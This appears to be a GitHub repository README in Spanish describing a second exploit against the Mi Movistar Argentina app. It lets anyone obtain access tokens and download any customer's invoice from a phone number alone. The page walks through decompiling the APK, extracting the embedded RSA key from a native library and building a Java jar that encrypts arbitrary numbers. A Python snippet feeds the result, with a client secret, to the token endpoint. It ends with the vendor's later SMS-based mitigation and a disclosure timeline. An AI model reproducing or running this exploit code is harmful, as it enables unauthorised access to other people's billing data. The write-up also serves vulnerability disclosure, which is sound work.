Skip to content

Descarga la factura de cualquier cliente de Movistar Argentina

Notifications You must be signed in to change notification settings

sebikul/movistar-exploit-v2

Repository files navigation

Parte 1

Disponible aqui.

Exploit v2

Luego de ser reportado el error, Movistar inhabilitó los endpoints dela API vulnerables, para luego modificar el método de autenticación de la aplicación.

En su nueva versión, el numero de telefono del cliente es encriptado y luego codificado, para evitar que sea inyectado de forma directa en un request, tal como se venía haciendo.

Sin embargo, la clave se encriptación está incluida en la aplicación, y resulta ser estática en lugar de ser derivada de algún dato del usuario. En el siguiente informe se explica cómo se extrajo dicha clave, y como se pudo usar para volver a utilizar la primera versión del exploit publicado.

Encriptación del número de teléfono

Luego de decompilar el APK con jadx, se encontro que el codigo encargado de encriptar y codificar el numero telefónico es el siguiente:

    public MiMovistarDeviceToken getAccessToken(String msisdn) throws NoInetException, WsCallException {
        if (msisdn.startsWith("54")) {
            msisdn = msisdn.substring(2);
        }
        MiMovistarDeviceToken accessToken = (MiMovistarDeviceToken) this.mAccessTokensByMsisdn.get(msisdn);
        if (accessToken == null || accessToken.isExpired()) {
            String aa = DeviceUtils.ed3();
            String bb = DeviceUtils.ed8();
            String str2 = "";
            String stringToConvert = "";
            try {
                byte[] keyBytes = new byte[0];
                PublicKey key = KeyFactory.getInstance("RSA").generatePublic(new X509EncodedKeySpec(Base64.decodeBase64(aa.getBytes("utf-8"))));
                Cipher cipher = Cipher.getInstance("RSA/None/PKCS1Padding");
                cipher.init(1, key);
                if (msisdn.startsWith("54")) {
                    msisdn = msisdn.substring(2);
                }
                byte[] encryptedText = cipher.doFinal(msisdn.getBytes());
                char[] hexArray = "0123456789ABCDEF".toCharArray();
                char[] hexChars = new char[(encryptedText.length * 2)];
                for (int j = 0; j < encryptedText.length; j++) {
                    int v = encryptedText[j] & 255;
                    hexChars[j * 2] = hexArray[v >>> 4];
                    hexChars[(j * 2) + 1] = hexArray[v & 15];
                }
                str2 = new String(hexChars);
            } catch (Exception e) {
                e.printStackTrace();
            }
            String urlString2 = "https://mi.movistar.com.ar/v2/oauth/token";
            String body = "username=" + str2 + "&grant_type=mobile";
            if (msisdn.startsWith("54")) {
                msisdn = msisdn.substring(2);
            }
            if (true) {
                accessToken = (MiMovistarDeviceToken) new Builder(MiMovistarDeviceToken.class).setUrl(urlString2).setBody(body).setAuthorization(bb).setRetryPolicy(new ParametrizedRetryPolicy("/oauth/token", 2500, 2, 2)).setQueue(Queue.MiMovistarGetData).addHeader("Content-Type", "application/x-www-form-urlencoded").build().execute();
            } else {
                Builder builder = new Builder(MiMovistarDeviceToken.class).addParameter("grant_type", "mobile").addParameter("username", msisdn).setRetryPolicy(new ParametrizedRetryPolicy("/oauth/token", 2500, 3, 2)).setQueue(Queue.MiMovistarGetData).addHeader("Content-Type", "application/x-www-form-urlencoded");
                Logger.log(this, builder.build().Authorization());
                accessToken = (MiMovistarDeviceToken) builder.build().execute();
            }
            accessToken.registerGotNow();
            this.mAccessTokensByMsisdn.put(msisdn, accessToken);
        }
        return accessToken;
    }

Podemos observar que la clave privada se encuentra en la variable aa, la cual contiene lo retornado por DeviceUtils.ed3(). A continuación, se encuentran las funciones necesarias para poder obtener la clave:

public class DeviceUtils {
    public static native String get();

    public static native String get3();

    static {
        System.loadLibrary("native-lib");
    }

    public static String ed8() {
        return get3();
    }

    public static String ed3() {
        return new String(Base64.decode(get(), 0));
    }
}

Podemos ver que la función que nos interesa, get(), se encuentra en una librería nativa de Java compilada para ser ejecutada en android. En el siguiente extracto se encuentra el código assembler de dicha función:

00000bb0 <Java_com_services_movistar_ar_app_util_DeviceUtils_get@@Base>:
     bb0:	53                   	push   ebx
     bb1:	83 ec 08             	sub    esp,0x8
     bb4:	e8 00 00 00 00       	call   bb9 <Java_com_services_movistar_ar_app_util_DeviceUtils_get@@Base+0x9>
     bb9:	5b                   	pop    ebx
     bba:	81 c3 13 24 00 00    	add    ebx,0x2413
     bc0:	8b 44 24 10          	mov    eax,DWORD PTR [esp+0x10]
     bc4:	8b 08                	mov    ecx,DWORD PTR [eax]
     bc6:	8d 93 dd e0 ff ff    	lea    edx,[ebx-0x1f23]
     bcc:	89 54 24 04          	mov    DWORD PTR [esp+0x4],edx
     bd0:	89 04 24             	mov    DWORD PTR [esp],eax
     bd3:	ff 91 9c 02 00 00    	call   DWORD PTR [ecx+0x29c]
     bd9:	83 c4 08             	add    esp,0x8
     bdc:	5b                   	pop    ebx
     bdd:	c3                   	ret
     bde:	66 90                	xchg   ax,ax

En lugar de hacer un análisis estático de la librería nativa, se optó por crear una aplicación para Android tonta, cuya única función sea llamar a la librería nativa, e imprimir por logcat el valor de la clave ya calculada.

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        Log.w("MOVISTAR", DeviceUtils.ed3());
    }
}

Ejecutando la aplicación en un emulador, obtendremos en la salida logcat de Android Studio el valor de la clave privada:

MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxGAaQIqdeJNlgqqVyMWz1yEg3a7aEPeXcxhA1/q8U4vxQxZwJ07lKGiDZdrAZ9YYqUZ3wfN5ZbjPpji0RYcyPhTrR5OQzi0IySsxzEd1DANHyCGEmogCi3tSU/vZ9YSuA/BL2OtyI75jBe7pe5U3K8lYuYLRC2SFtd7g34Y5vUOIjlQ7Xtm/C8Q/ZZhYKjgavAowNhpdJba2Hi11qmcpSpwbj6dAsX6w1coCzXE/0AM2j62K7Cmr/I9+NJ/WC+DM4EqU+WkbolBtzK6f84et0ElwRQGlcDWrHLjsimUUM2Vk6TREU2TZsDYUsxEBC/NhM5Z0mlWiAm8AZED6yvD1wwIDAQAB

El código de la aplicación desarrollada se encuentra en la carpeta Android_Application. El código de la librería nativa se encuentra en la carpeta movistar_lib.

Replicando el método de codificación

Dado que ya contamos con el código decompilado que realiza la encriptación y la codificación del número telefónico, resultó más fácil crear un .jar ejecutable con la clave obtenida, y que su única función sea recibir por argumento el número, para imprimir por stdout el valor encriptado y codificado, listo para ser inyectado en el cuerpo del request.

public class Main {

    private static final String KEY = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxGAaQIqdeJNlgqqVyMWz1yEg3a7aEPeXcxhA1/q8U4vxQxZwJ07lKGiDZdrAZ9YYqUZ3wfN5ZbjPpji0RYcyPhTrR5OQzi0IySsxzEd1DANHyCGEmogCi3tSU/vZ9YSuA/BL2OtyI75jBe7pe5U3K8lYuYLRC2SFtd7g34Y5vUOIjlQ7Xtm/C8Q/ZZhYKjgavAowNhpdJba2Hi11qmcpSpwbj6dAsX6w1coCzXE/0AM2j62K7Cmr/I9+NJ/WC+DM4EqU+WkbolBtzK6f84et0ElwRQGlcDWrHLjsimUUM2Vk6TREU2TZsDYUsxEBC/NhM5Z0mlWiAm8AZED6yvD1wwIDAQAB";

    public static void main(String[] args) {

        String number = args[0];

        if (number.startsWith("54")) {
            number = number.substring(2);
        }

        String str2 = "";
        try {
            PublicKey key = KeyFactory.getInstance("RSA").generatePublic(new X509EncodedKeySpec(Base64.decodeBase64(KEY.getBytes("utf-8"))));
            Cipher cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
            cipher.init(1, key);
            if (number.startsWith("54")) {
                number = number.substring(2);
            }
            byte[] encryptedText = cipher.doFinal(number.getBytes());
            char[] hexArray = "0123456789ABCDEF".toCharArray();
            char[] hexChars = new char[(encryptedText.length * 2)];
            for (int j = 0; j < encryptedText.length; j++) {
                int v = encryptedText[j] & 255;
                hexChars[j * 2] = hexArray[v >>> 4];
                hexChars[(j * 2) + 1] = hexArray[v & 15];
            }
            str2 = new String(hexChars);
        } catch (Exception e) {
            e.printStackTrace();
        }

        System.out.println(str2);
    }
}

Luego, solo es necesario ejecutar el siguiente comando para encriptar un número telefónico a lo que espera la API de Movistar:

java -jar Movistar_Exploit_V2-1.0-SNAPSHOT-jar-with-dependencies.jar 1199999999

El código de esta aplicación se encuentra en la carpeta Movistar_Exploit~V2.

Modificaciones a los scripts de Python

Finalmente, solo se debieron modificar los scripts de Python para que invoquen al .jar generado con el número proveído por el usuario, y usen en su lugar la cadena devuelta. De esta manera, se pudo reusar todo lo ya existente.

encoded_number = subprocess.getoutput(
    "java -jar Movistar_Exploit_V2-1.0-SNAPSHOT-jar-with-dependencies.jar %s" % numero)

data = {
    "grant_type": "mobile",
    "username": encoded_number,
    "client_id": "appcontainer",
    "client_secret": "YXBwY29udGFpbmVy"
}

Estos fueron los únicos cambios realizados para poder explotar la vulnerabilidad nuevamente. Gran parte del trabajo fue para extraer la clave privada disponible lineas arriba.

Nota: Para ejecutar esta nueva versión del exploit, se requiere tener Java instalado y disponible en el $PATH del usuario.

Comentarios

Hay incontables artículos sobre ofuscación de datos en aplicaciones móviles, y por que es una mala idea hacerlo.

UPDATE: 01/03/2017 - Mitigación

Luego de los reportes enviados, Movistar procedió a reescribir el proceso de autenticación utilizando los datos provistos por el usuario para derivar el token de autenticación. De esta manera, se encuentra mitigado el error reportado. A continuación se detalla el nuevo proceso:

Paso 1: Envío de SMS

En primer lugar el cliente envía un request conteniendo el número de teléfono del usuario, pidiendo que se le envíe un SMS con un código que luego deberá ingresar.

POST /acm/movistar/time/v1/authorize?msisdn=541112345678 HTTP/1.1
Host: container.movistar.acrons.net
Accept: */*
Cookie: PHPSESSID=f...
Content-Length: 0
Accept-Language: en-AR;q=1, es-419;q=0.9
Connection: close
User-Agent: MiMovistar2/1 (...)

Como respuesta, los servicios web de Movistar devuelven el siguiente mensaje:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: ...
ETag: W/"105-LpK0bDGi1kzWjZ6gqfhXCw"
Date: Thu, 02 Mar 2017 02:25:06 GMT
Connection: close

{"pin_status":"sent","pin_retries":3,"acm_session":"mz6zcx..."}

Aquí podemos ver que el código enviado al celular del usuario se encuentra relacionado con una sesión referida por el identificador acm_session.

Paso 2: Verificación de la sesión con el código recibido

Como paso siguiente, el usuario procede a "validar" su sesión al enviar el acm_session junto con el código que le fue enviado por SMS:

GET /acm/movistar/time/v1/authorize?acm_session=mz6zcx...&pin=12345 HTTP/1.1
Host: container.movistar.acrons.net
Accept: */*
Cookie: PHPSESSID=f...
Connection: close
Accept-Language: en-AR;q=1, es-419;q=0.9
User-Agent: MiMovistar2/1 (...)

En caso de haberse autenticado de forma satisfactoria, el servidor nos responderá con un identificador unico, el cual sera almacenado en el dispositivo del usuario, y que sera usado para obtener los tokens que se requieren para consultar las APIs de Movistar.

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: ...
Date: Thu, 02 Mar 2017 02:25:20 GMT
Connection: close

{"acmID":"5xPG6uai...","pin_status":"verify_ok"}

Paso 3+: Solicitud de un access_token

Finalmente, la aplicación utilizará el acmID en cada ocasión que necesite generar un nuevo token de acceso, pidiendolo de la siguiente manera:

POST /acm/movistar/mi/v2/oauth/token HTTP/1.1
Host: container.movistar.acrons.net
Authorization: Basic QXBwI0NsMHVEOkxSTGdzMzQzMnkzOVdyOTU=
Accept: */*
Content-Type: application/x-www-form-urlencoded
Accept-Language: en-AR;q=1, es-419;q=0.9
Cookie: PHPSESSID=f...
Content-Length: ...
Connection: close
User-Agent: MiMovistar2/1 (...)

acmID=5xPG6uai...

En caso de ser válido el acmID, el servidor nos responderá con un token válido:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: https://container.movistar.acrons.net
Content-Length: 533
ETag: W/"215-j3+qbG6KMOIH0/oDXxdGgQ"
Date: Thu, 02 Mar 2017 02:25:23 GMT
Connection: close

{"access_token":"eyJhbGci...","token_type":"bearer","expires_in":86400,"scope":"read trust write","jti":"..."}

Si bien el acmID no expira (por lo que se pudo observar), el access_token tiene un tiempo de expiración de 24hs, lo que reduce el riesgo de daño en caso de ser expuesto o interceptado.

Dado que en el mecanismo implementado se debe validar la sesión utilizando el código recibido por SMS, el token sólo puede ser generado por aquel que controle la línea, por lo que la vulnerabilidad reportada se encuentra mitigada.

Timeline

  • 03/01/2017: Se volvió a vulnerar la aplicación. Se procede a reportar la nueva vulnerabilidad a Movistar.
  • 01/03/2017: Actualizado con detalle de mitigación.
  • 03/04/2017: Habiendo pasado 90 dias desde el primer reporte, se procede a publicar el informe.

About

Descarga la factura de cualquier cliente de Movistar Argentina

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published